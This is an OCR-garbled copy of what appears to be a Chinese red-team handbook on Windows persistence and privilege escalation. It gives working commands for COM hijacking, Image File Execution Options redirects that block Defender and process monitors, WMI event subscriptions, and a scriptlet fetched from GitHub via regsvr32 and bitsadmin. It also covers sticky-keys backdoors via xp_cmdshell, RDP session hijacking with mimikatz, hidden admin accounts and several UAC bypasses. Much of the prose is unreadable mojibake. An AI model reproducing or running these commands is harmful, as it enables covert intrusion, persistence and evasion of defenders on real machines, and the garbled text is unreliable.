\ {11111111-11-11-111-111111111111} \ InProcServe *

REG.EXE ADD%KEY%/ VE / T REG_SZ / D“%CD%\ msg.dll”/ F

REG.EXE ADD%KEY%/ V ThreadingModel / T REG_SZ / D Apartment / F.

POC: https://github.com/3gstudent/CLR-Injection

BITHAIER poc f5, EHAEERERSEE, BEERZEETHERE M dIX
.



CLR-Inject...

CLR-Inject...

title
e

msg.dll hello x54 world , I'm 50kb

e

msg_x64.dll

e Windows

WindowsSe

10.11 CAccPropServicesClass & MMDeviceEnumerato

BT CLR #113FE Net BRI A E, THREEANR, PTRERE]. ERET
WMI R IIIME T EFEE |5 A 45.CAccPropServicesClass ]
MMDeviceEnumerato [GI RS 2 £ M, BRAEEEZRS, BEFEAFEE
BIEANIR, BRI MUEGE BehiE T B sh A,

86 R4

1, e

£ %APPDATAY% \ 4k \ &2\ {BCDE0395-E52F-467C-8E3D- * 579291692E} \I&13
THONGITIH DLL 324,

BRMNA: API-MS-I5R downlevel- [4char BEHL] -11-1-0._dl

2, 1BBUEME

SEMRAIE: HKEY_CURRENT_USER \ Software \ Classes T\ CLSID \



Bl IR{b5f8350b-0548-48b1-ab6ee-88bd00b4a5e7}

BIZF IR InprocServe *

BRIARVEE(E R 32 {ihY DLL RULEITERR:

C: \FAFP\EE\NRAREFHIE\EN\MI\ L&\ {(BCDE0395-E52F-467C-8E3D- * 57
9291692E} \ API-MS-3X5R FH~1x86-I11-1-0._d!

BIiE%E: ThreadingModel | REG_SZ | N

3, SHITAENSEHEMERN, MSMITINEA DLL

64 NLRE

1, N

£ %APPDATAY% \ X\ &2\ {BCDE0395-E52F-467C-8E3D- * 579291692E} \F&13
THONEII6 DLL 3244

BRMNF: API-MS-35R downlevel- [4char FEHL] -11-1-0._dl

2, 1EEEMER

SERRAIE : HKEY_CURRENT_USER \ Software \ Classes T\ CLSID \
BIEIT{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

BIZF IR InprocServe *

BRIAROBE N 64 (A DLL BR1R:

C: \BAP\BE\NAREFEIE B \MX\%x\ {BCDE0395-E52F-467C-8E3D- * 57
9291692E} \ API-MS-3X & T4&—1x64-11-1-0._d!

BIi%E: ThreadingModel | REG_SZ | A&

3, BHUEME 2

SEMRALE: HKEY_CURRENT_USER \ Software \ Classes T\ Wow6432Node \ CL
SID \

B I{BCDE0395-E52F-467C-8E3D- * 579291692E}

BlI# F IR InprocServe *

BRARER(E S 32 fIfY dIl 8813

C: \AP\BE\NAREFEIE B \HMX\ (=& BCDE0395-E52F-467C-8E3D- * 57
9291692E} \ API-MS-3X & T~4%—1x86-11-1-0._d!

BI3E%E: ThreadingModel | REG_SZ | &

WNE 4 FiR, SITAEIEE EAIERR, MSMITimERI DLL



POC: https: //github.com/3gstudent/COM-Object-hijacking
10.12 MruPidiList

AEF EEFmMH COM #15/E1T, BIMMEHRALZNGEIT], MruPidlList 5
i &IE]

SEMRAIE: HKEY_CURRENT_USER \ Software \ Classes T\ CLSID \

Bl I{42aedc87-2188-41fd-b9a3-0c966feabec}

BIZF IR InprocServe *

ERIARYB2{ED DLL p94e3si&iz: C: \MliK\ calc.dll

BIE4R{E: ThreadingModel | REG_SZ | A B

FE S iEMERXI N COM 335 MruPidiList, fEAF SHELL32.DLL, SHELL32.DLL
ATHANINXHE, fNSREEHNHESRIT, TEE MEMEERNRE,
BET—1TE=E.

BEWMAIEEE: RAETEBIINEABENHTE explorer.exe B, explorer.exe FIE1EA
shell32.dlIl #1, HN%; COM 345 MruPidlList

LEER ) Z R EE S (ER: comRAT, ZeroAccess rootkit, bbsrat

10.13 winlogon_regedit
Microsoft ZHEIIRER (COM) =2 Windows AI—1RA, BT @TIRERF LI

HHAMZ BN E,
1 BEREFIBMERZ T RFBATRICE, B COM 5|BMXARKNBSENRMG
RPATIRAME.

5 COM SYRFEE Windows JEMERFHITEN, PUSSIAERNTRESIZAHE
MATRI AT

MEERSAN. SRAGEHBIIERENRRBRERITH, EECIERBHERIT. 2 X
&R A HERD

R BIMZ(ERINN SRRIT AT MEKTE, ERFTRERZABARENINEE, MU
B FTRE SN

NN REARE.


https://github.com/3gstudent/COM-Object-hijacking
https://github.com/3gstudent/COM-Object-hijacking

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}]

@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDCH\InprocServer32]

@="C:\\WINDOWS\\system32\\scrobj.dll"

"ThreadingModel"="Apartment"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}\ProglID]

@="AtomicRedTeam.1.00"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDCH\ScriptletURL]
@="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Win
dows/Payloads/COMHijackScripts/AtomicRedTeam.sct"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}\VersionindependentProgID]

@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD
7-FBEEA2180A1E}]
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD
7-FBEEA2180ATEN TreatAs]

@="{00000001-0000-0000-0000-0000FEEDACDC}"



T R HHET
Casey Smith @subTee - 17/\E
@ Found some really fun winlogon COM Hijacks today.
Sample here:
gist.github.com/anonymous/3928...
How to find? Options | Enable BootLogging with ProcMon, Filter on:
Result Contains NAME NOT FOUND
Path Contains HKCU
Easy Peasy.
=

There are Dozens of these...Dozens...
attack.mitre.org/wiki/Technigue...

https://twitter.com/subTee/status/962767403464577024
https://attack.mitre.org/wiki/Technique/T1122
https://gist.github.com/anonymous/3929d9df4035abec725bcdc36659fces

FMEBIIANS  https://www.ggsec.cn/winlogon-regedit.html


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1518437671161.jpg

10.14 ImageFileExecution Optionscmd

B4R~ reglE, BEHLEHmd exeiET

AppData » Local » Temp &

Indry = Shate with = MNew Toldes
Mamie Date rnul|-|‘||m|

ﬂ_] ACICHoGHIeBAA 5140123556771 25 reg L/ 2018 2:18 PM
| 0443981001 261660076094 382919145320...  L/9/ 2018 218 PM
L 0.776755660928520117223561051690950...  1L/o/2018 218 PM

reg{HE—#EMER, ERERNEXIE
HKEY LOCAL MACHINE '\ SOFTWARE ' Microsoft \ Windows NT \ CurrentVersion \ Image File
Execution Options \

HfE, “SERHTIER AT EEREWindows PSR RIS BT HT SR LA NER. Sl
{REI AR E — e 8, ZBRERER T AT (FlilProcessHackerexe) , Mi&/EED
LR RER

P

e i Vew Geesas dip

EMERT, MEHEEikERET svehost.exe TiA2ProcessHackerexe, FTLUSXNEESESTA
AEHETProcess Hackerlf, svehostiiS B, TEDRMNIFSHRMTIEEE, MANMEE
Process Hacker, BB EEREIHEEES, wireshark®, FEIEEHIEE LT R Mg EE
#2E.


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1516280301173.jpg

wmEfBH, HtENTER, B JE) svchost.exe

THEHEZMERAEN BT R RN

Windows i it T iEE 2R 45.00

[HKEY LOCAL _MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows NT \ SystemRestorg]
“DisableCenfig"= dword: 00000001

“DisableSR"= dword: 00000001

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options \ ProcessHacker.exe|
“debugger'="svchost.exe"

[HKEY LOCAL_MACHIME \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File
Execution Options \ procexp.exe]
“debugger'="svchost .exe”

[HKEY LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion | Image File
Execution Options \ MSASCui.exe]
"debugger'="svchost.exe"

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options \ MsMpEng.exe]
“debugger'="svchost.exe"

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options |\ MpUXSrv.exe |
“debugger'="svchost.exe"

[HKEY LOCAL_MACHIME \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File
Execution Options \ MpCmdRun.exe|
“debugger'="svchost.exe"

[HKEY LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion | Image File
Execution Options \ NisSrv.exe|
“debugger'="svchost.exe"

SZ58 ¢ https://neonprimetime.blogspot.com/2018/01/java—adwind-rat—
uses—-image—
file.html?utmcampaign=crowdfire&utmcontent=crowdfire&utmmedium=social
&utmsource=twitter%232362224631-tw%231515608604431

PBRANS:  https://www.ggsec.cn/Image-File—Execution-Options—cmd.html


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1516280341723.jpg

10.15 RunOnceEx
{£F RunOnceEx #1715 X ¢ — [2iE B Autoruns.exe

TRIM—FRARFHIT DLL X, MAZEERITH autoruns.exe NEl, FTE
EEAMNR, RET userland,

BTN R

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\
Depend /v 1 /d "C:\Users\demon\mbox.dIl"

erShell

EEEER:

2.mbox.dIl £ TXRERNER, HEMAIIGITX T e <KMWL HIT

runonce /Explorer

BEE(link): https://oddvar.moe/2018/03/21/persistence—-using—runonceex—
hidden—-from—-autoruns—-exe/ https://support.microsoft.com/en-

us/help/310593/description—-of-the-runonceex-registry—key

ARSI :  https://www.ggsec.cn/RunOnceEx.html

10.16 WMI
WMI (Windows Management Instrumentation) B Windows ZI2#5E, H—A
BANITEESAR, BTEEAMMIIZIZN Windows RE,
WMI B8R ZNIRSZ %
o WMIHKE, BHESBIESITRARZEER
o WMIKKE, BAlSBUEDITIA Z R
o  WMIHKE, BHSBUESITRARZBIES R


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1521729671229.jpg

[RX: https: //www.fireeye.com/content/dam/fireeye—
www/global/en/current—threats/pdfs/wp-windows—management—

instrumentation.pdf
T ZFEAE:
e WMIKE: http: //drops.xmd5.com/static/drops/tips—8189.html

e  WMI Backdoor: http: //drops.xmd5.com/static/drops/tips—
8260.html

o  WMIBKMH: http: //drops.xmd5.com/static/drops/tips—8290.html

s FEEFImFRSEE MEAXMY, EMATER EN—TERNEIEREFR
(objects.data)

o  ARMEWEMR
e {Y{EH PowerShell B9

FERE

# SRR

powershell> $ StaticClass = New-Object Management.ManagementClass ('root \ ¢
imv2', $ null,

$=)

powershell> $ StaticClass.Name ='Win32_EvilClass'

powershell> $ StaticClass.Put ()

powershell> $ StaticClass.Properties.Add ('EvilProperty', “XE2BX&H k")
powershell> $ StaticClass.Put ()

fEkENBMER

# B AR
#function 8E: £ 60s M1T—)X notepad.exe
powershell> $ filterName ='BotFilter82'

powershell> $ consumerName ='BotConsumer23'


https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8260.html
http://drops.xmd5.com/static/drops/tips-8260.html
http://drops.xmd5.com/static/drops/tips-8260.html
http://drops.xmd5.com/static/drops/tips-8290.html
http://drops.xmd5.com/static/drops/tips-8290.html

# QI —1_EventFilter, BTIREMAFMY, BF 60s FIT—X

powershell> $ exePath ='C: \ Windows \ System32 \ notepad.exe'

powershell> $ Query =“SELECT * FROM __InstanceModificationEvent WITHIN 60 W
HERE

Targetinstance ISA'Win32_PerfFormattedData_PerfOS_System'“

powershell> $ WMIEventFilter = Set—-Wmilnstance —Class __EventFilter -NameSpac
e“root \ subscription”-Arguments @ {Name = $ filterName; EventNameSpace =“ro

ot \ cimv2”; QueryLanguage =“WQL”; Query = $ Query} —ErrorAction Stop

# B — CommandLineEventConsumer, T8 EHRITHIIRIE

powershell> $ WMIEventConsumer = Set-Wmilnstance —Class CommandLineEvent

Consumer —Namespace “root \ subscription”-Arguments @ {Name = $ consumerNa
me; ExecutablePath = $ exePath; CommandLineTemplate = $ exePath}

# BF4B7E filter ¥ consumer

powershell> Set—-Wmilnstance —Class __FilterToConsumerBinding —Namespace “roo
t \ subscription”-Arguments @ {Filter = $ WMIEventFilter; Consumer = $ WMIEvent

Consumer}
{5

BE 28 PowerShell i#1TIER, BE&EHI schtasks #HTEN BRI, ZdR
&, AT JavaScript RIBIZS

#! BIRINE

$ filterName ='filtP1'

$ consumerName ='consP1'

$ Command =“GetObject (”“script: https: //raw.githubusercontent.com/3gstude
nt/Javascript-Backdoor/master/test” ) ”

$ Query =“SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targe
tinstance ISA'Win32_PerfFormattedData_PerfOS_System'”

$ WMIEventFilter = Set—-Wmilnstance —Class __EventFilter -NameSpace “root \ subs
cription”-Arguments @ {Name = $ filterName; EventNameSpace =“root \ cimv2”; Q
ueryLanguage =“WQL”; Query = $ Query} —ErrorAction Stop

$ WMIEventConsumer = Set-Wmilnstance —Class ActiveScriptEventConsumer —Na



mespace “root \ subscription”-Arguments @ {Name = $ consumerName; ScriptingE
ngine ='JScript’; ScriptText = $ Command}
Set-Wmilnstance —Class __FilterToConsumerBinding -Namespace “root \ subscripti

on”-Arguments @ {Filter = $ WMIEventFilter; Consumer = $ WMIEventConsumer}

BniE T JS IR, #1TH<EA, MR XELE fa: BRI
PowerShell BUiIXE R ERTHE, B LI

10.17 Waitfor.exe

WAITFOR ZRRZEE A ERB R —EHAENIES., LT System32 TXHK
T, a2 TARNED,

BE1: AXHE

NE 1 AR, EEMRART T8 powershell IZ C: \ waitforl.psl, ABA:
[B5hiEF2 calc.exe
cmd / ¢ waitfor persist’ & ' & powershell —executionpolicy bypass —file c: \ waitforl.
ps1
, FHERES
waitfor persist1 && powershell —executionpolicy bypass —file ¢: \ waitforl.ps1
3, RIXES
waitfor / s 127.0.0.1 / si persist1
# MRS NPT 45427 A

B 20 X

1 powershell payload s QBT RIDIRIFE WMI £, #H1T7EME, EE, EH5
payload (FBEEERNIR)

PowerShell> $ StaticClass = New-Object Management.ManagementClass ('root \ c
imv2', $null, $ null)

PowerShell> $ StaticClass.Name ='Win32_Backdoor'

PowerShell> $ StaticClass.Put () | M=

\\\\\\\

PowerShell> $ StaticClass.Properties.Add ('Code', “cmd / c¢ start calc.exe tas

& waitfor persist™ & &PowerShell #J—-nop -W &

\\\\\\\

kkill / f / im powershell.exe



#—-E JABIAHgAZQBjADOAKABbAFCAbQBpAEMAbABhAHMACWBAJACAAJWBXAGKAD
gAzADIAXwBCAGEAYwWBrAGQAbwBvAHIAJWApPA * AUABYAGBACABIAHIAJABPAGU

AcwBbACCcAQWBVAGQAZQANAFOALgGBWAGEADBABTAGUAOWAgAGKAZQB4ACAAJA
BIAHGAZQBjAA ==°)

PowerShell> $ StaticClass.Put () | 4=

# {$ M base64 wIBEFHEBERMAE

PowerShell> $ exec = ([WmiClass]'Win32_Backdoor') , &4['Code'l, 1E;

#IZENB W E T
PowerShell> iex $ exec | 4ph==
# MITERAE

# WANG bR L EFEE A, ARTITIZXXH

# https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor—Persist
ence.psi

#cmd> powershell —executionpolicy bypass, \ Waitfor-Persistence.ps1

HERN]:

cmd> waitfor / s 127.0.0.1 / si persist

# MBS AT+ 4271 A

POC: https: //github.com/3gstudent/Waitfor—Persistence

10.18 bitsadmin

bitsadmin.exe E&F BHFNA AT RIZ TEI L& FWHEIERE,
bistadmin AJBAFEE FHMINZRE#ITH48< . AISIBMET, BARKKL
M,

bitsadmin /BI#EE[]

# BIEES

bitsadmin / addfile [&]%comspec %% temp%)\ cmd.exe

# R A

bitsadmin.exe / SetNotifyCmdLine 5[] regsv * .exe“/ u / s /i:https://raw.githubuse
rcontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll”

#1800 cmd £, TR regsv *1%15, #RIRG < HATIRAE 0) =R


https://github.com/3gstudent/Waitfor-Persistence
https://github.com/3gstudent/Waitfor-Persistence

bitsadmin /VxE /G
# MATIES

10.19 MSDTC

MSDTC, ZMEoHmIVERIMETERIT, Windows RABABINZRS . HitE
MINAEH, MSDTC RRSB/ashEt, REREMKRITEAN

\HKEY LOCALMACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI 2311 3
A DLL: oci.dll, SQLLib80.dIl, xa80.dll #ATAY Windows RRZIAHAEE
oci.dll, BRLARTLLYE payload.dil & A oci.dll H{RFFE%WINDIR%\ SYSTEM32
\T BT ENERARS MSDTC i SNEZ DLL, SLIMABHT. FE
MSDTC RRSZINEM dil, SLIMBEEN, HE5EBeh@Tx BahmA,

10.20 Netsh

netsh NEME RAAFIRMHNINEERANMBEERITLE

netsh add helper c:\test\netshtest.dll

helper.dll {{INRINE, S/XEA netsh, YIESINE c:\test\netshtest.dll
10.21 DoubleAgent

ZARTEEN RSB Application Verifier (N FATEFIGLINE) #H1TH
=2

MATENT:

1. REBENX Verifier i2{f2F DLL

2. @iT Application Verifier #{T&3E

3. AR BREHBEHITHNE RS

4. SHENHERD, WRWTEREE, 83T 188005 X

AL .
AR LTI

appverif / verify notepad.exe



A LTTHIRR

appverif / n notepad.exe

POC: https://github.com/Cybellum/DoubleAgent
10.22 office

MRHIERANDLL, HITHEXS®S, ENAUSEBMGITHEI THNEERM
M73E:  EFF office $rETNEE FIA office MNFIN

1% office 71 15E

B DLL #h¥s, EARARERITIENRER ARSI #his Word-5 15 - HHE

[ZEEGMPFRE] : i7F C: \ Program Files \ Common Files \ microsoft
shared \ RRLoc14 \ LOCALSVC.DLL #h#5 word-#&\ — B/ [Trustedinstaller
PR] : fiIF C: \ Program Files \ Common Files \ microsoft shared \ ink \
tiptsf.dil £¥5 word-X4 - TTEMRE - £ - Wi EM [BEZNR] : AIF
C: \ Program Files \ Microsoft Office \ Office14 \ 2052 \
GroovelntiResource.dll #1F Excel-fEA - B F [BEANR] : fZF C: \
Program Files \ Common Files \ microsoft shared \ OFFICE14 \
MSPTLS.DLL

FIH office J#; T
Word WLL Excel XLL Excel VBA J1ZIn PowerPoint VBA INEIN AR5 :

# RiZR calc.dll, EpREN cale.wll, RIFFERR: C: \ Users \ Administrator \ App
Data \ Roaming \ Microsoft \ Word \ Startup (Startup BZARIRESZT wIl, ZIHFE
HZwll) , BE)Word.exe, 38HitE2:, HRIEEEEM

PowerShell B9 WLL &2

$ ENV: APPDATA + “\1#X\# Word \/[Z&)\ calc.wil”

IEmIFIFRY cale.dll fERY base64 IR HZETEZEH

PowerShell> $ fileContent = [System.|O.File] :: ReadAllBytes ('calc.dll')

PowerShell> $ fileContentEncoded = [System.Convert] :: ToBase64String ($ fileCon
tent) | set—-content (“calcdllbase64.txt”)

FAEE$ fileContent 7% base64 ANEM calc.dll



PowerShell> $ fileContent =“$ fileContentEncoded_payload”

89 base64 R HFE calc.wll ZFENERZRAIBUT:

PowerShell> $ fileContentBytes = [System.Convert] :: FromBase64String ($ fileCon
tent)

[B System.lO.File] :: WriteAlBytes ($ ENV: APPDATA + “\f##x\#9 Word \[Bzh\ cal
c.wll”, $ fileContentBytes)

# B{EZZE: https://3gstudent.github.io/3gstudent.github.io/Use-Office—to-mainta

in—persistence/

Hfth POC: https://github.com/3gstudent/Office-Persistence
10.23 shift 5[]

BT nfE REEREIM Windows &, FEREMARFPZMZEe1, EikiR 5 X%
g2, mILAERA C: \ WINDOWS \ SYSTEM32 \ sethc.exe, FRIAEEIE C: \
WINDOWS \ SYSTEMS32 \ sethc.exe B E T FENATHITIZIER.,

£l c: \ windows \ system32 \ cmd.exe ¢: \ windows \ system32 \ sethc.exe /vy
%l c: \ windows \ system32 \ sethc.exe c: \ windows \ system32 \ dlicache \ s
ethc.exe / y

attrib ¢ \ windows \ system32 \ sethc.exe + h

attrib c: \ windows \ system32 \ dlicache \ sethc.exe + h

#atsri + h 2RINEREE M

7£ windows xp iIIf5, sethc AtETF=EZERRIAF Trustinstall, FH{1LAEE
MBAF, XMMREMEFEERARAERZ X ERRIEFMATHATN, BT AFENERE
FREAEEA, tWAAMERGS, thal: A MSSQL B xp_cmdshell B9

exec xp_cmdshell'takeown / f ¢: \ windows \ system32 \ sethc, */a/r/dy'
#RMBEEERINEERA (administrators)

exec xp_cmdshell'cacls ¢: \ windows \ system32 \ sethc.exe / T / E / G system:
=

# T ¥ AR EIZHI R

exec xp_cmdshell'copy c: \ windows \ system32 \ cmd.exe c: \ windows \ system



32 \ sethc.exe / y'
# B4 ecmd.exe

BE—LEEMIOREE], W magnify.exe (BKEEEIT]) oskexe (FE#HE
) narrator.exe (iR A) displayswitch.exe (¥ FRE%) atbroker.exe (§EBIE
BTH)

10.24 RDP &5 &)+

RDP #h#5 R SRRV ENAE S — K BBIER TERDRINZAF 215
—FO

—

, BRAFEERSSAFSIEER

2, sc Bll## sesshijack £llZ—" sesshijack RS

3, net start sesshijack FF2ARSS

HIEAP

sc create sesshijack binpath =“cmd.exe / k tscon 1/ dest: rdp-tcp #4”
#rdp-tcp # 4 HIEEEMNRNEMSIE

net start sesshijack

T EER I RIE £ I51RI5 2 Benjamin Delpy (Mimikatz fE&) 7£ 2011 123
B9, BTIA Mimikatz iRt EERL T LLIRNTHE

mimikatz.exe

mimikatz # ts :: sessions

mimikatz # ts :: remote / id: 4 (4 RiRAIEID)
mimikatz # privilege :: debug

mimikatz # ts :: remote / id: 4

10.25 i1 R4

FL1e = windows &2 Linux FIRER IR HITLIESTHEE, RTIMENHER
HRERIAT —EHES.



BFft TH: taskschd.msc
w&4TITH: SchTasks.exe
SCHTASKS /28 2#1]
/BIEEBIEITTRIES
/HHEBRRIBR T RIESS
/BEERBITIIES

/BT RIES

/ End # IE HBIEEETRITRIES
BRHRERG:

> SCHTASKS / Create / TN update / TR xx (#F#1THI& <) / DELAY ONLOGON /
F / RL HIGHEST

10.26 & Tk

TP ERER T EEMREEBERFICR, Etut A FERFIES net B
FPEENERERAFPNAFAREFEAFERN, BERREFNRKIER,

1, B'$ SIZERAF, HmAEERA

cmd> net user admin $ 123456 / add

cmd> net localgroup administrators admin $ / add

2, SHEZBFXNA SAM BRE THSEMRBEE

cmd> regedt32.exe

$TFF HKEY_LOCAL_MACHINE \ SAM \ SAM \I\IkF\FF 518, SAE%ZI ADMIN $
SIBIMRBIA R SXHE, UREERNMAHEE, BEERAELFN FERNSEH
% ADMIN $3JRIX I F B,

PS: ERIIBRERERMPLEFEERTEIEH USIZRAR, FIAZT RN

3, MpRERAF

cmd> net user admin $ / del

4, RRERRF

HKEY_LOCAL_MACHINE \ SAM \ SAM \iF\ ik \FIF~\Z#7\ ADMIN $
RESHERYEMERX G, BApSHIEMREEXEMRITENR, MAIUEFRERZ
RIRERAF



'd.Privilege Escalation

RRREFARATREEERAINE LIRBESLAITIRARIFNGR, FETH
FRFBEESLA NIRRT EELIF, AEHAETREIRETINTFZ /A EHED
FHY, WEEBAUHAANBRBISOARNRNARL, HEOITFBRFE RAIRE
REIRFiEL SYSTEM / root RAINER, the] AERBRR RINEE A TSENREY
AP, ., BERBEEERFRRREHAITGEE LI E BT F R ETNEER
R PP B TR T BRBV TR

1K BURN 4

MERGEK P 2R K B3R X

FUEZH, RNBEFBRZRAFAMBBALEHLADIR, BEIEXCRHNSEER:
o EZE Windows RS MK FIAXRR

AHEBFIKFE AHAREZ M NT AUTHORITY \ LOCAL SERVICE W4&HRS K
F: NT AUTHORITY \ NETWORK SERVICE A#tZZMKF: NT AUTHORITY \
SYSTEM

FEEIRSMKF : DOMAIN \ ACCOUNTNAME IE& K /K : NT
SERVICE \

M EBRERZ AT ARSBIRENKS, SIMNRNARFRIIKS

BN B E IR ESR sysadmin 1R, MIRNRZHINKF IR XEI B EH
9 sysadmin 58] R

o WNMERY, BENESGRISEEE: Wa{ER PowerUpSQL JEEE Atk
12H 59 SQL Server Sysadmin 1R


https://attack.mitre.org/tactics/TA0004/

LB 7 B2, 1R éﬂﬁ?ﬁn/ﬁ“’“ﬂ/\ Wil b B 12X 4 Z HIIK U4, Aé/ﬂ/ 4
HIRER, i mIFE K. 55 F B, X EANGEX N H 7T 7 /Ww/ 7
WRIHIGJE T FIA LM, B EH 2 E,

o ZEHN BLE Windows BRSBIKF AR : https://docs.microsoft.com/en—
us/sql/database—engine/configure—windows/configure—windows-
service—accounts—and—permissions?view=sql-server—2017 #{a]{EF
PowerUpSQL S5 E Atk P12 F 3 SQL Server Sysadmin YR :
https://blog.netspi.com/get-sqgl-server—sysadmin-privileges—local—-
admin-powerupsql/ ¥R SQL Server NRZEE[&:
https://docs.microsoft.com/en-us/sql/sqgl-server/install/security—
considerations—for—a—sql-server—installation?view=sql-server—

2017#isolated_services

2. Windows UAC:
2.1 windows10 .2 UAC J7#H

WD NTERFPIEER, BRAGUEEBEXNA token £/, ERHIT
HESFRER . MARFRIMEESHIITENNNFERERIMKSRY

token, ANFEEERALFIA token, BRINFBEINERFPRAA token, MR
REVS R ZE IEmé&%UE’Jtoken EHITREPNES, BLATRMMTAN, EL
EREFADRT, XEFERMNERPREFIIEEANREIITES.

UAC Batlia, TEIMRRTAKFESR, %BxELMT/EﬁHF'E’] token ZMITIESS
B, XFE—REEREMAEFHENRKRT., Ea%b UACEO, WREREE
. IMBEERAKS, REEEEMETT. ZZD%W%*T/&%FE’JW{:F' RE]
BEEGNKSEBEAEMER, B UAC @Dﬂufﬁifﬁiﬁ, i
EREFUSRHEXTZEEEE — T UAC NHNEEORTMIRE. #—FHREE
SEUTER

XS

s
N
/

ot
o

¢t

X

W

BERBAEEN, FHREZE—HH, BIFEFFE UAC, BSEXAKRS
EHEM: APIKPESINTIERE



B&EMUEMIRMGE, BAIRIKATXHELST UAC FREIERNBEIZER—,
windows10 5|\ Y fodhelper.exe 3&iZHIIX1, ET FTEHSEZHNELRI, X4t
B2 EINERN XML 7%, {8 google EiZLASIAAE R U B 52 FNR
AEER, BEASLEMNINR, BMNEFAEE TEELINNRERTEMEST
BT : fodhelper.exe,

ARSI, EEREI—TEEZEEGNRATENERE L UAC REEKENEO,
REMAKSBREINEN, XEAMBNRAAFCEEZRNZET? BRIRE
UAC THIRMEIEIR T18? MEXA—EE, HAHRF fodhelper.exe X172
AU4F I SRIZEIE AR INE cmd.exe, #[E cmd.exe HiEE A & &1 R AIAXPRFNXT
HIHAT token 7. shell BT, MRBAET, MRXFHRNAINT, BTEDIESE
R B-THKEB: UM FTXE UAC &=l

SZEFE APKPIRFIN TERIE: https://docs.microsoft.com/en—
us/windows/security/identity—protection/user—-account—control/how-user—
account—control-works S—1%8: ¥UFMIX 4 UAC & :
https://winscripting.blog/2017/05/12/first—entry—welcome—-and—uac—
bypass/

2.2 FJHF BT, TR T 45T UAC

BNASKREITIES EHEREE: BN SilentCleanup BRI MARMERF (K
NER) Boh, BABBRT, HEESMESHMESE —LEEMEIAEE. AP
B ARG EMARXLEIRD, AR TS T —DTHNTHT . EFNEARES
— 1 UMESXRIETT. BITIRI#IERN: cleanmgr.exe, #HIZIZITEIE—
GUID B4, %% DLL f1“dismhost.exe” —i#e S #HIZItb ST hnE;,

B IAEN#5H dismhost.exe MNEAY DLL SKERCIBHITION S, BEMRN:
bypassUAC K hF7E dismhost.exe INE 2 BIZ% B 5 DLL,
“LogProvider.dll” & dismhost.exe IN#EME&E—1 DLL, REANVRME T IREEE
NeNRENSs. EFE@ETERNECRNZZER: ERUEFERT WINDOWS
10 E%eid UAC



S IMR T E K bypass RIE LA IERIEX RIS Z RN FANREE
bypassUAC

BE—T: APENZEMASWENSMINEE, FEEMLREL, XTHEY
BRESEAEMEIANED, XEIRZHBRSLTERELI, MBLRMXLT
REELEZZNRLNMTREISMHAEEINR: #HZTH, EMERTH, XM

EETH, MRREF.

SEFN: [ERWEBEE WINDOWS 10 E4:d UAC:
https://enigma0x3.net/2016/07/22/bypassing—uac—on-windows—-10-using—
disk—cleanup/ FIIFFIAE T & bypassUAC:
https://tyranidslair.blogspot.com/2017/05/exploiting—environment—

variables—in.html



2.3 sdclt_bypassuac (T1088)

V) WIEER(A)
TEHI\HKEY_CURRENT_USER\Software\Classes\Folder\shel\open\command

exr_auto file ~ & Ex] Pl
extﬁau_toiﬁle [E[EON] REG SZ cmd.exe /c notepad.exe
Extensions a%|DelegateExecu... REG_SZ

eyaml_auto_file
eyml_auto_file

f auto file

fav_auto_file

77_auto_file e

190_auto_file @ -

95_auto_file i 63. 1071

fegi_auto_file HUEHR(V): ) Corp B BT L

feedback-hub ‘cmd.exe /c notepad.exe ¥ 2 Process Explorer - Sysinternals: www.sysinterna
fff auto_file

File Options View Process Find Users Helg
dRB=000 |5 5 |[#&f

CPU Private By

